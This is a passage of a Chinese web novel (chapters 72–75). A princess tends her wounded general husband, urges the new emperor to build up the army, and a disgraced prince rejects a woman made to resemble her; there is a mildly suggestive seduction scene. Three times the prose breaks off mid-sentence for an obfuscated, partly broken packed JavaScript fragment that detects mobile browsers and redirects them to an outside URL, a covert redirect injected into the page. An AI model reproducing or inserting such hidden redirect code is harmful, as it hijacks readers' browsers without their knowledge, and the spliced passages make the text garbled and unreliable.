而这次大军回城,那位一直都很是神秘的纯懿长公主终于露面了。她身穿华丽的长公主礼服,却一点儿都不显臃肿,反而仍然身姿袅娜。一张精致美丽的脸庞在高耸花冠的衬托下,更显得眸如星子,气质华贵,如同天上仙女下凡一般,只安静站在出城迎接班师大军的最前面,就惊起四处惊艳视线。 纯懿却对四周投来的或是窥探,或是惊叹的视线全然不觉。经过两个多月的修养,她的身子已经大好,甚至比以前还要更强健一些,站在外面等待许久也丝毫不觉疲累,只望眼欲穿地盯着远方猛瞧,期盼着能早日见到陆双昂和贤宁。 终于,遥远的天地相接之处,出现了一条黑线。那黑线越来越明显,越来越清晰,是一群穿着甲胄、骑着战马的士兵,他们举着的大旗上写着一个龙飞凤舞的“陆”字,迎风招展,遮天蔽日。 是陆家军!陆双昂亲手重建的陆家军回来了! 纯懿脸上的笑容止都止不住。她不由向前小跑了几步,抻长脖子热切张望着。 走在大军最前方的是一位骑着白马的将军。将军看到出现在阵前的纯懿,只略微一怔,立刻便翻身跳下了马,一边大步朝着纯懿走来,一边单手解开头盔的系带,动作潇洒将扣在头上的铁盔摘下。 长发纷纷而下,露出一张神情坚毅、五官却清秀的脸。 这竟然是一位女将军! 都不用犹豫,纯懿马上就猜出了这是谁。 她看着英姿飒爽的女将军,笑着对她点头,胸膛里满是骄傲和欣慰:“贤宁。” 曾经总是病恹恹、哭啼啼的贤宁帝姬,现在已经能带兵走在最前方了。 而看着许久不见的纯懿,面对十倍于自己的虞娄人都不会皱皱眉头的贤宁,不知怎么就鼻腔一酸,眼眶胀胀的,有些激动,又很是内疚,双唇嗫嚅了半天,连一句“纯懿姐姐”都说不出口。 纯懿也眼中带泪,正想调侃贤宁几句,旁边忽然有几个兵士聚成一团,抬着什么东西跑了过来。 纯懿和贤宁一起朝那边看去。纯懿是完全的疑惑和好奇,贤宁却捏紧了腰间剑柄,只觉双腿沉重如同灌了铅。 走到贤宁面前,那几个兵士散开了些,便露出了他们抬着的一副血迹斑斑的担架,和担架上面色苍白、双眸紧闭的陆双昂的脸。 72. 第 72 章 有皇帝的御车,陆双昂很快就被送回了长公主府,白发苍苍的医官也提着药箱赶来,慌张地向徐结行礼:“陛下。” “不必多礼,”徐结一挥衣袖,脸色很是严肃,“您在宫中医术最高,快去看看陆将军。” 医官查看了一会儿,来找徐结说了一大堆情况如何棘手的话,最后才吞吞吐吐道,陆将军体内有一枚插得极深的箭头,他是照看调养皇族身体的御医官,不擅长处理战场上的刀剑伤,可能还得军医来才更有把握。 徐结边听,边皱了眉头。正要唤人将陆家军里的军医喊来,一道清凌凌的女声忽然响起:“如果军医能够处理,何至于拖到这个时候。” 纯懿小心翼翼将一直紧握着的陆双昂的手放回被衾中,站起身,缓缓走了过来。她连礼都没有行,一双漂亮的眼眸直直盯向老医官,语速很慢:“大人是御医官,可在成为御医官之前,也是从全国上下成千上万名医者中选拔而出的。陛下不唤旁人,偏偏唤了您来,想来也是经过考虑,认为您可以处理这样的伤口。” 那老医官面上得色一闪而过,可又很快垂下头,避开纯懿和徐结的视线,只躬身道:“老臣有负陛下信任。” “若是当真能力不足,的确是有负陛下信任。可若是能力足够,只是因为陆将军情况凶险,老大人害怕万一不愿担责,故意说自己无法处理……”纯懿开口,语速仍是和缓的,可声调却放低了许多,一字一顿中,不由就透出来自上位者的威压来,“那便是欺君了!” 老医官浑身一震,“扑通”一下就跪在地上,额头重重撞上地面:“长公主说的这是什么话!老臣怎敢啊!” 纯懿寸步不让,罕见地显露出些咄咄逼人:“那吾问你,若是有军医在旁协助,你可有把握救回陆将军?” “这……这……老臣是真的……” 老医官左右为难,颇有些求救般地看向徐结。 徐结眉头皱起,看看眼前这位可怜兮兮的、对自己忠心耿耿的老医官,又看看横眉冷目、气势逼人的纯懿,稍一迟疑,开口时已带上了不容置喙:“孤将陆家军的军医和宫中其余医官都唤来,他们所有人都听您差遣,还请您千万治好陆将军,不要让孤、让长公主失望啊。” 徐结一字千金,老医官便知这下已无可转圜,暗中恨恨瞥了纯懿一眼,咬着牙叩头应下,然后起身朝着床边走去。 纯懿后退一步,为他让出了一条通道,然后在他经过时深深俯身:“拜托您了。” 老医官扫一眼头垂得极低,姿态谦恭的纯懿,仿佛刚才那个扯着陛下逼迫他的人不是她一般,皮笑肉不笑地点头:“长公主放心,陛下发话了,老臣不敢不尽力。” 纯懿的视线追随着那医官的背影一直到床前,然后床帐落下,遮挡了她担忧的目光。 纯懿只觉得浑身都在发冷,陆双昂那了无生机的面庞不停在她面前盘旋,让她有些不知如何是好,正无措间,一件绘着龙纹的外袍忽然搭上她的肩膀,包裹住她冰凉的身体,然后,一只温暖的手掌扶在她胳膊之上。 与刚才强硬的吩咐语气不同,此刻徐结的声音格外温柔,搀着她摇摇欲坠的身体,扶她走到侧屋坐下:“孤已经下令,他们不敢不尽心的。纯懿,你身子也是刚好,可不能太过悲伤,你放心,有皇兄在,就是陆将军半只脚迈进了鬼门关,皇兄也一定给你把他拉回来。” 他看着纯懿怔怔的脸,忽然轻刮了下她的鼻梁:“皇兄可暂时还没有给你找个新驸马的打算。” 他的话带俏皮,显然是刻意想逗纯懿展颜。 纯懿领他这份人情,尤其是刚才,他愿意决然站在她这边,逼迫那医官全力为陆双昂治伤。 她抬眸,第一次认真注视这位新帝的脸。徐结眉目英俊,可能毕竟是有血缘关系,他的五官与她亲皇兄有一些相像,尤其是这般带着些宠溺和爱护看着她的样子,更是与皇兄如出一辙。 只是不同的是,皇兄不会如他这般,看着她的视线最底总是藏着怜悯和内疚。 纯懿觉得,她有些猜到这位南庆新帝为何对她这么好了:“陛下,您不必愧疚的。汴京被破,大庆灭亡,不是您的错,您能从虞娄人的手里逃脱,为我徐氏皇族保下血脉,还能继承大庆国祚建立南庆,我们真的很为您开心。” 徐结一怔:“这么明显吗?” 他收回了手,笑容带些苦涩:“你说汴京被破大庆灭亡不是我的错,可这又何尝是你的错?是我们男人没有守好江山,最后被掳掠去虞娄,受尽欺辱压迫的,为什么是你们娘子?你们又有什么错?” 纯懿没想到徐结竟然会说出这样的话。她有些呆呆傻傻的喃喃:“我是大庆帝姬,既然享受了万民供养,自然与大庆命运一体……” “纯懿,我并不是那种会困于过去的人,我只是……我只是觉得身为男人,身为大庆的男人,我亏欠于你。”徐结微微俯身,双臂撑上纯懿的肩膀,视线真挚,“不管你信不信,我与你说的话都是真心的。你是我妹妹,是替我付出了代价的人,你有幸回来,我就一定会保你下半生平安顺遂,再不会经历那些痛苦。” 在徐结这般真挚的话语下,纯懿只觉一直包裹在心头的戒备渐渐融化。她喉头哽咽,双唇翕动,终于低低唤了一声:“皇兄。” 不是陛下,而是皇兄。 徐结微愣,然后开心地应了一声:“纯懿,好妹妹。” 既然已经与纯懿说开,受伤垂危的人还是陆双昂,徐结也就不避着纯懿,当着她的面唤了贤宁过来询问情况。贤宁一直等在外面,得诏立刻入内,将当时的情况条理清晰地一一说明。 延陵宗隐果然是醉翁之意不在酒。他想要包围阻击的人并不是贤宁和南庆大军,其实是纯懿和陆双昂。陆双昂才刚一靠近军阵,虞娄对面的阵型就突然变化,从后面又来了一队兵卫,把陆双昂的小队兵士和贤宁的大军分割开来,将他牢牢围在中间。 虞娄势众,延陵宗隐却不允许旁人动手,亲自上阵与陆双昂对战。陆双昂到底是半路出家,一对一死战,自然不是从小就熟于弓马的延陵宗隐的对手。开始时,延陵宗隐还没下死手,只逼问陆双昂纯懿去了哪里,陆双昂气急败坏,半是泄愤半是挑衅,便告诉延陵宗隐她已经离开虞娄地界,在返回临安的路上了。 听闻纯懿竟然再次逃脱,这次还逃脱地如此彻底,延陵宗隐的脸色顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283592|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时就黑了下去,继续过招时,他下手就再不留情面,招招式式都冲着陆双昂的死穴去,每一刀都狠辣无比,是真的想要砍了他。 若不是贤宁率大军拼死拼活突破了虞娄人的堵截,及时从延陵宗隐刀下抢下了奄奄一息的陆双昂,他恐怕都撑不回临安来。 “那延陵宗隐果然厉害。”徐结不由感叹,又挑眉问道,“陆将军重伤,我军军心一定动摇,延陵宗隐武艺兵力都强于你们,就这么眼睁睁放你们走了?” 徐结的问题很是敏锐,贤宁有些迟疑地回:“我也在奇怪这件事。当时延陵宗隐明明下令要全力追杀我们,可后面忽然有一小队人马疾驶而来,看起来是传信的。为首的那个对延陵宗隐说了几句话,又给他看了个什么东西,延陵宗隐就下令撤兵了。估计是不是上京有什么新消息来?” “当年汴京被围,孤曾经与延陵宗隐打过交道,他面上守礼,其实恃才傲物,形势一片大好之下,他不是会对上京言听计从的人。”徐结缓缓摇头,“上京一定是发生了什么大事。” 一直在旁边默默听着的纯懿忽然开口:“我想……我知道上京发生了什么大事。” 贤宁和徐结一起看向她。 纯懿也不卖关子。她轻声道:“当时在喀末城的道观,等着与永嘉他们汇合时,我想着以防万一,就传了一些谣言出去……看来,消息虽然比我想象的慢一些,但终于是传到了上京,传进了虞娄大王的耳朵里。” 徐结有些稀奇:“你传了什么谣言,能让延陵宗隐连陆双昂都顾不上了,竟然乖乖班师回朝了?” “嗯……”纯懿沉吟,“比如觊觎皇嫂,比如权势滔天,比如……” 她轻轻的、一字一顿地:“……杀害太子,谋权夺位。” 在场的都是皇室中人,对于这罪名有多厉害自然心知肚明。徐结追问:“既然是谣言,以延陵宗隐的能力,他完全可以说出真相,洗清嫌疑。脱身之后,他恐怕要报复回来的。” “他当然可以说出真相,包括他如何鬼迷心窍,如何大意受伤,以至于差点在虞娄上京被大庆将领取了性命,然后丢尽脸面,成为笑柄。”纯懿微笑,“要不然,他就无法解释与太子死亡的关联,就得一直背着杀害太子的嫌疑,放弃军权和官职接受调查,直到旁人找到证据证明他的清白。” 纯懿最后总结:“至少最近这段时间内,他会焦头烂额,暂时顾不上南庆这边的事情了。” 屋内一阵沉默。许久之后,一声轻笑打破了寂静。 徐结不住点头,满眼都是欣赏:“纯懿长大了。这是你送给他的临别礼吗?” “对,”纯懿也笑。她从徐结身旁走到他面前,忽然双膝跪地,对着徐结行了一个标准的大礼:“而我也有一份见面礼,想要献给皇兄。” 她从怀中取出了一本小册子,置于手上,恭恭敬敬双手捧到徐结面前:“这是我离开虞娄时,孟曹勋孟大人托我带回来的,里面是孟大人的毕生心血,还有许多他针对虞娄的现状,新研究出来的机关军械。” 纯懿再次叩首,抬起头时,双眸晶亮,灿若星辰:“纯懿愿全力辅佐皇兄振兴南庆,早日重现大庆荣光。” 73. 第 73 章 “呦,纯懿长公主和贤宁长公主到啦,”夏内侍的脸笑成了一朵花,急忙帮着掀开竹帘,“陛下早早就准备了冰酥酪,都念叨了好几次啦。二位长公主快进去吧。” 纯懿对夏公公颔首,与贤宁一起迈入大殿,一阵凉气扑面而来,让刚从校场回来的纯懿和贤宁顿感一阵舒爽。临安夏日炎热,徐结却不太受这个问题的困扰,他的殿内放着好几个巨大的冰盆,正冒着丝丝凉气,单看着就让人觉得浑身清凉。 纯懿却微皱了眉。她想到了大热天也得挤在一起睡大通铺的陆家军兵士们,别说用冰块乘凉了,就是训练之后想喝点冰块洇着的水,都是不敢奢望的事情。 徐结正埋首于公文中,听到脚步声抬起头看,看到相携走近的纯懿二人,脸上就露出个笑容来。 “回来了。累了吧,快坐。”他也不客套寒暄,只随意挥手,举止言行中却露出亲近来。 纯懿和贤宁刚坐下,女使就很有眼色地送上冰酥酪,然后又悄无声息地离开。贤宁是真渴了,端起精致漂亮的琉璃尊,仰脖子就连喝几大口。纯懿却只是手持银勺,有一下没一下地搅拌着里面的奶霜和果汁。 徐结看出纯懿有心事。他关心地问道:“陆将军的情况怎么样了?” “还没醒,”提到陆双昂,纯懿的语气就有些失落,可很快又调整了自己的情绪,抬眸笑道,“不过情况在一日一日的好转了,应该快了。” “那就好,”徐结后背靠上纯金座椅,调笑道,“等陆将军醒来,孤可要好好惩戒他一番。他倒是每日在床上躺着,却连累得纯懿替他掌军,瞧瞧,都成小黑人儿了。” 贤宁看一眼果然黑了不少的纯懿,嘿嘿地笑。纯懿也笑,神情却很认真:“陆家已经没人了。我是陆家妇,昂哥哥受伤不能管事,自然应该由我来顶上的。” 提到在景康二年全族尽没的陆家,徐结不由也有些感慨。他叹息道:“陆家忠义,是大庆对不住他们。” 徐结先开口了,纯懿也就不再回避。她站起身来,走到徐结面前,恭敬道:“皇兄,在虞娄的时候,我看着虞娄朝廷如何运作,想了很多,可仍有一些不解。这几日又回来练兵,似乎是有一些心得,我想说给皇兄听听,求皇兄指点迷津。” 徐结以为纯懿只是帮贤宁站站场子,没想到她竟然是认真在练兵,甚至还练出了些心得,不由有些诧异,却还是点头,温和道:“你说。” “我一直在想,我大庆地大物博,国力强盛,绵延数百年,虞娄却偏居贫瘠之地,连礼义廉耻都说不出个一二,为什么我们会败在他们手里。”纯懿微微侧头,神情中带些疑惑,“开始我以为,是因为他们有许多勇猛无敌的将领,有一支强悍的骑兵,他们甚至自小就在马背上长大,人人皆兵,所以我们对上他们,才会输的那么惨。” 徐结很是认同地颔首:“你继续。” “但是在虞娄,我发现他们的将领之间也在争权夺势,互相倾轧,他们的兵士也不喜欢战争,日常巡城训练都会想法子偷懒。而回来临安,我们的将士们却各个都憋着一股气,操练时非常认真,我们的将领虽损失不少,可留下来的,也都是有真实才干的,军事素养并不比虞娄人差。” “你说得有道理。孤最近在南边又发现了几个好苗子,已经下诏让他们赶往临安了。”徐结看纯懿激动地小脸红扑扑的,安抚道,“你练兵还想了这么多,真是辛苦了。冰酥酪都要融了,快去吃点儿,凉快凉快吧。” 纯懿却一点儿都没有要回去吃那冰酥酪的意思。她执拗站在原地,看向上首的徐结:“所以我认为,是有别的原因。比如我们比起虞娄,差的根本不是硬实力,而是软实力,我们大庆以文立朝,向来重文轻武,所以根本就没有重视过武将,也从没有全力支持过军武的发展,甚至还经常提防打压军中,生怕他们回头来夺权……” 纯懿不将徐结当做外人,说起话来也就毫无顾忌,甚至隐隐有指责大庆立朝之本的意思在。徐结的面色就严肃起来,渐渐直起了身子,后背也离开了椅背,端正坐在龙椅上,看着下方挺拔而立、侃侃而谈的纯懿,似乎在思索着什么。 纯懿还要继续,徐结微启双唇,正想要说些什么的时候,一直守在门外的夏内侍忽然躬身而入。 “陛下,”夏内侍恭敬道,“秦宋大人在外求见,说有重要事项要禀告。” 徐结似乎松了口气。他急切道:“既然如此,快请。” 又有些内疚地转向纯懿,温声解释:“秦大人近日正在梳整六部账目,他说的要事,一定不是小事。今日你们练兵也辛苦,先回去休息,改日咱们再聊。” 纯懿知道秦宋。他也是父皇时的旧臣了,景康之变中因为外派出京而躲过一劫,徐结到达临安立朝之后,他便立刻赶来投靠,很得徐结重用。 眼看着秦宋的身影已经在小内侍的带领下隐隐可见,纯懿只好将剩下的长篇大论吞回肚子里,往回走了两步,却还是不甘心,又回头殷切看着徐结,补充道:“皇兄,还请你得空好好想想,若是觉得有些道理,就请皇兄重用武将,着力练军,早日收复失地,将陷落在虞娄的大庆同胞都接回来啊!” 徐结脸上含着有些无奈的笑,连连点头:“孤晓得的。你放心,快回去吧。” 得了徐结的允诺,纯懿很是欣慰,与贤宁一起行礼告退,两人在门口正遇到了秦宋。秦宋已年过五旬,精神却不错,看到她们出来,急忙行了大礼:“纯懿长公主,贤宁长公主。” 纯懿其实不太喜欢这位秦大人,总觉得他太过精明强势,行事有些投机取巧。可毕竟是徐结看重的人,又在朝中担着要职,纯懿也就对他微笑颔首,随后缓步离开。 秦宋便迈入殿中,对徐结行礼。起身时,却见徐结视线仍盯着外面纯懿离开的方向,目光幽远,双手搭在龙椅扶手之上,修长的食指在龙首上一下一下轻轻叩着。 秦宋仔细观察着徐结的面色,又将刚刚来时隐约听到的纯懿的话回想了几次,脑子转得飞快。想来想去,他心下一横,决定赌上一把。 秦宋便笑着开口:“刚刚来时正见到长公主。到底是武将家眷,长公主言行干脆利落,作风与武将们愈发像了。” “作风与武将像了,想法也就向着武将了。”徐结手指依旧叩着龙首,发出有节奏的“笃笃”声响,摇头轻叹,“曾经最不喜政事的纯懿也变了。看来她在虞娄,真的是吃了不少苦啊。” 徐结允诺了纯懿要认真考虑,也很快就给了纯懿回复。几日之后的朝议上,徐结忽然下诏,说是经过几次与虞娄作战,各支南庆军队都元气大伤,减员严重。为了尽快补充兵员,临时允许招募军户之外的青壮年从军。 但为了避免抱团作假等问题,这批破格招募 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13300132|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兵员须由朝廷统一招募后分派到各地,而选拔新兵的权力,就给了京中最负盛名的陆家军。 交给了现在的陆家军,其实就是交给了纯懿。 纯懿明白徐结能下这么一道诏书,他背负的压力和非议得有多大,心中很是感动,更是卯足了劲儿要认真完成任务。每日除了照料陆双昂和照常去校场操练陆家军,她还要认真做方案做计划,制定征兵标准和选拔方式,每日忙到脚不着地,屋里的油灯一亮就是一整夜。 纯懿这边正准备大展拳脚,被紧急召回上京的延陵宗隐的状况却不太好。正如纯懿预想的那样,他被卷入了太子遇刺一事,面临着要不就沦为笑柄,要不就背负嫌疑的两难选择。 本来身为位高权重的王子,延陵宗隐就有足够的动机对太子下手,何况那日他还恰好出现在太子身亡的现场,太子身亡的凶器还偏偏被证明是他的匕首。除此之外,让延陵宗隐倍受怀疑的是,事发之后,虞娄大王明明命他停职等待调查,可他却一声不吭,带着亲兵和部曲离开了上京,一直跑到了前线去了。 虽说有传言说,他是去追那个逃跑的大庆帝姬去了,可稍微了解他的人都对这个说法嗤之以鼻。 延陵宗隐是何许人也?堂堂虞娄王子,威风赫赫的“狼主”,被人称为“二太子”的人,冷漠无情,铁血手腕,会为了一个女人如此大动干戈? 开玩笑!谁知道他是不是以此为借口,跑去前线联络他的旧部,想要干点什么大事呢。 大将国禄金拂本就因着弟弟的死与延陵宗隐结了仇,国相唐括兀术又总觉得延陵宗隐现在不将他放在眼里,两人一拍即合,打着配合在虞娄大王面前给他上眼药。再加上民间不知从何起了谣言,四处疯传得不像个样子,虞娄大王终于还是将延陵宗隐从停职变成了卸职,还把他的所有头衔权柄都撸了个干净,命他在府中禁足,不得踏出半步。 延陵宗隐一双黑眸没有丝毫波动,动作潇洒地交了军符回了府,当真不再出门。 少了处理不完的军务和络绎不绝的访客,延陵宗隐每日里的消遣,就是对着一块突兀贴在墙上的墙皮,一次一次临摹纯懿留给他的“无耻”两个大字。再空闲了,就翻出一摞还带着焦黑的灼烧痕迹的画轴,在那有些灰扑扑的画面上,一笔一笔重新覆上颜料。 黑塔看着延陵宗隐惯常握着大刀的手,现在竟然在干这般精细活计,不由有些牙酸:“郎主,您干这干啥?有这时间,还不如赶紧想想办法,早点儿从府里出去呢!” “因为不知要在府里待多久,所以才更要画。”延陵宗隐腕力极强,所以下笔很稳,笔尖缓缓而过,画上人的唇瓣就重新透出些浅粉色来。 延陵宗隐手指轻抚这张漂亮的脸,动作温柔,眸中却带着无尽冷意,神情阴鸷:“不知何时才能再见,我可不能把她忘了。所以,得一次次画,一次次回忆,牢牢记在心里,一眼就能把她认出来才好。” 明明可以称得上是温情的话语,黑塔却不由打了个哆嗦,悄悄离延陵宗隐远了一些。 屋内安静下来,只有画笔“沙沙”的声音。忽然,屋外有人通报道:“郎主,木大人刚刚送来了一个箱子,挺大的,有点重,说是怕您无聊,给您的消遣。我们给您搬进屋里?” “消遣?”延陵宗隐挑眉。他手下不停,唇边笑意却更冷,淡淡道:“那就搬进来吧。” 74. 第 74 章 送“消遣”来的木沐木大人是一位虞娄小领主,一直都很想投靠到延陵宗隐的麾下,可他资质平庸又实力不济,延陵宗隐这般眼高于顶的人自然一直看不上眼。可能是这次延陵宗隐落魄了,他觉得自己终于逮到了讨好的机会,便在旁人都避之不及的时候巴巴的凑了过来。 既然是难得的机会,他送来的东西,应当是精心挑选过的,可抬进屋里的箱子却只是一个很普通的箱子,甚至都不是一般惯用的木箱,而是一个木板做底的纸箱,灰扑扑的不甚起眼。不过里面装着的东西倒是看起来有些分量,落在地上的时候,发出“砰”的一声轻响,荡起一圈灰尘。 延陵宗隐掀起眼皮懒洋洋瞥了一眼,又像是什么都没发生似的,重新垂下眸子,继续作画。 日头渐渐西斜,屋外的天色也慢慢暗了下来,黑塔靠近了一些,帮延陵宗隐点上灯盏。昏黄的灯光下,屋内一切事物都罩上了一层朦胧的光,那个纸箱子被孤零零放置在旁边,像是被遗忘了一般,只有一阵一阵的香气幽幽而出,勾得人鼻尖和心底都是痒痒的。 黑塔已经朝那边看了好几眼,被这醉人香气挠得好奇的要命,几乎控制不住想要去一探究竟的冲动。延陵宗隐倒是巍然不动,一点儿都没被这突如其来的礼物所影响,只沉醉在自己的世界里无法自拔。 又过了不知多久,备好的晚食已经热了几次,延陵宗隐还在自顾自地忙碌,箱子那边却终于有了动静。在一阵窸窸窣窣的响动之后,箱子的纸壁轻轻摇晃了两下,惊得黑塔后退一步,手立刻按上了刀柄,一双眼睛瞪得像铜铃,摆出进攻的姿势严阵以待。 延陵宗隐依旧还是那副淡定的模样。这次他甚至连眼皮都懒得抬了,只懒洋洋开口:“倒是能忍。自己出来吧。” 箱子的纸壁又颤动两下,忽然,随着一声闷响,一只手臂破开箱壁,从里面缓缓伸出。那手臂白皙纤长,晶莹剔透,削葱一般的手指微翘,指尖染着鲜红的蔻丹,衬着光裸的肌肤白到发光。 那两条手臂轻柔搭上纸箱,微一用力,纸箱壁就朝着四方散开,一个窈窕美人从箱中站了起来。她墨发披散,半侧着身子,看不太清长相,可只看那婀娜身材,娇媚姿态,就知一定是个难得的美人。美人全身□□,两条手臂半遮半掩地护在身前,反而将胸前高耸掬得更加丰满,也显得腰肢更加不盈一握,身体线条凹凸有致,流畅到惊人。 黑塔只扫了一眼就血脉偾张,脸颊爆红,立刻移开视线,紧闭着双眼,拼命想让自己沸腾的热血镇静下来。 美人却根本没朝黑塔那边看上一眼,似乎他不存在一般,一双眸子水波潋滟,饱含着万般风情,只一个劲儿朝着延陵宗隐那边瞥。 延陵宗隐手持毛笔斜靠在桌边,玩味的视线在美人身上寸寸扫过,唇角勾着邪邪的笑意,一双黑眸却仿佛寒潭,冰冷深幽,没有一丝动容。 美人对自己的容貌身材很有信心,可等了一会儿,见延陵宗隐只斜靠着看她,没有一点儿要靠近的意思。美人不由有些失望,咬了唇,干脆一昂下巴,将茂密的黑发甩到身后,把一张精致漂亮的小脸尽数露在延陵宗隐面前。 一直似笑非笑的延陵宗隐终于面色一怔。他身子猛地站直,眸光顿时锐利如箭,死死盯着美人的脸,双眼微微眯起,透出几丝危险的讯息。 美人却将这当做了延陵宗隐的赞美。她迈开两条修长的腿,娇笑着主动向延陵宗隐靠近,然后将自己光裸的身子紧贴上延陵宗隐高大的身躯,一双手像蛇一般滑过他坚实的胸膛,紧紧缠绕而上,两片娇艳的红唇也凑近延陵宗隐的下颌,在他喉结处暧昧吹气,轻轻唤:“郞主。” 她双手抚过延陵宗隐英俊的眉眼,颇有些沉迷地看着他冷峻的神情,只觉这位二太子果然名不虚传,身材坚实又男人味十足,自己运气实在太好,之前受的那些罪也值了。 延陵宗隐垂眸,视线在她五官流连许久,忽然缓缓地勾起唇角,露出一个浅淡的笑容来。 美人更加心旌动摇,伸出右手,就要去轻抚延陵宗隐的黑眸。可才刚抬手,一只大掌忽然钳住她的手腕,力道大到几乎要将她的腕骨生生捏碎,强迫她的手扭成一个诡异的角度,一寸寸拽离开他的身体。 延陵宗隐神色阴鸷,眼神阴狠,仿佛要将美人扒皮拆骨看个清楚。 “你是谁?”他声音冰冷,一字一顿地开口,“你、是、谁?” 美人一震,在他这般要吃人的目光下两股战战,可事已至此,也不容她退缩。她将木大人透露给她的消息仔细想了想,藏起自己的畏惧,露出一个精心练习过许久的笑容来,换空闲的左手搭上延陵宗隐的肩膀,温柔摩挲: “郞主想当我是谁,我就是谁。虞娄洗衣院的女奴也可以,您的嫂嫂也可以,或者……”美人吐气如兰,眼神中情意绵绵,轻轻道,“……大庆帝姬也可以。” 那个名字一出口,美人立刻感受到延陵宗隐身体的僵直。她小心翼翼觑着延陵宗隐的脸色,动作轻柔从延陵宗隐手中抽出毛笔,反手在自己身上缓缓画过,一抹粉色就顺着脖颈蔓延到锁骨,最后隐没在胸前深深的沟壑中。 延陵宗隐面无表情看着身前娇媚主动的美人,双手在身侧缓缓握拳。她长着一张和纯懿有七八分相似的脸,甚至比瘦弱的纯懿更加丰满,也比她更主动,比她更乖巧柔顺。她不会像纯懿那般总是用带着恨意的眼神看他,不会像纯懿那般总是琢磨着要骗他,更不会像纯懿那般,随时随地都想抓住机会甚至创造机会地让他死。 延陵宗隐有些出神:也对,他着迷的只是纯懿的脸和身子,换谁也行。这个女人很合他的口味,他应该好好享用这个送上门的“消遣”,然后就再不会惦记着那个棘手的女人了。 虽然这般想着,可不知为何,延陵宗隐却站在原地,一动不动。 美人卖力诱惑了许久,见延陵宗隐依旧一副不为所动的模样,不由有些着急了。她勾唇一笑,身子柔弱无骨地顺着延陵宗隐挺拔的身躯滑落而下,以侍奉神明般的姿态谦卑跪于延陵宗隐脚下,一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317881|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手悄悄探进了延陵宗隐的袍中,沿着他腿上肌肉的坚实纹理轻缓游移。 延陵宗隐感受着美人的恭顺和讨好,这本来是他一直压迫着纯懿强行讨要的东西,可这次被人主动捧到面前,延陵宗隐却只觉一种说不出的烦躁席卷了全身。 不对,都不对。这美人长得像她,却不是她,更不如她。她才不会这样跪在他脚下,使尽浑身解数取悦他,她是就算在他面前褪尽衣裳,也会挺直脊梁的人,是就算被他逼到绝境,也会坚持着反击的人。 她是那种他从来没见过的人,是那种没人可以取代的人。 只有她才行。 美人已经感受到了延陵宗隐火热的身躯,她自得一笑,正要将自己的红唇凑近他的身体,忽然心窝传来一阵剧痛,让她刹那间失了所有感觉。等再有意识,美人发现自己已经躺在了墙角,心口一阵阵的绞痛传来,让她连呻.吟都没有力气。 延陵宗隐仍姿态挺拔站在原地,可他身上的气势却更加冷冽,冷淡看过来的眼神,让美人觉得自己像是一堆垃圾。 “你有一张不属于你的脸。”延陵宗隐开口,不仅没有一点怜香惜玉,反而带着浓烈的杀意,“你不配。” 黑塔领命,将痛哭流涕、哀求不止的美人拖走了。一边走着,一边暗暗咂舌:自家郎主真是铁石心肠,这般尤物,竟然说砍就砍,不带一点儿犹豫的。 正腹诽,身后忽然又传来自家郎主淡漠的声音:“等等。” 延陵宗隐沉吟一下,改了主意:“先关起来。” 纯懿丝毫不知自己在虞娄还有个“分身”,她赶了好几日的工,终于将这次破格招募兵员的计划落定,得了徐结的首肯,正式推行了下去。 新兵招募的如火如荼,纯懿自己也没闲着,她近来多了一个新的爱好:在街巷上闲逛,见了武馆、镖局、戏院、杂耍,乃至于小倌馆,都会进去逛上一圈。若有那合她心意的,不论年龄长相,也不管之前是什么身份、什么籍属,统统带回长公主府里去,做她的臣属。 带的人多了,临安城里就传出些风言风语来,不少人都抱着幸灾乐祸的心态等陆驸马醒来,想看长公主府里的这一场好戏。到了最后,甚至就连徐结都听到了些传言,将纯懿唤到身边,好一番东拉西扯地打听。 纯懿看着满脸为难却不知该如何开口的徐结,有些好笑:“皇兄,我们是一家人,您想问什么就直说吧。” 徐结顿时如释重负,可还是有些难以启齿:他只是哥哥,还不是亲哥。自古以来,也没有哥哥管到出嫁妹妹的房里事的。 可不说又不行,最后,他还是非常含蓄地叮嘱:“纯懿下次若是看上了谁,不必自己去带人,跟皇兄说一声儿,皇兄一定妥妥帖帖地把人给你弄来,好不?” 纯懿先是一怔,然后掩唇轻笑,到了最后,甚至都笑出了眼泪来。她一边用帕巾擦拭着眼角泛出的泪花,一边嗔道:“外面那些人乱嚼舌头,皇兄跟着凑什么热闹呢!那么好些人,我哪里消受的了!” 75. 第 75 章 看着睁着一双无辜眼睛的徐结,纯懿很是有些无语:“我只是想去找几个好苗子出来。我带走的那些人,有的力大劲足,有的手眼极快,都是我觉得在军中可以用得上的。没有别的意思,皇兄别听外面的人乱说。” 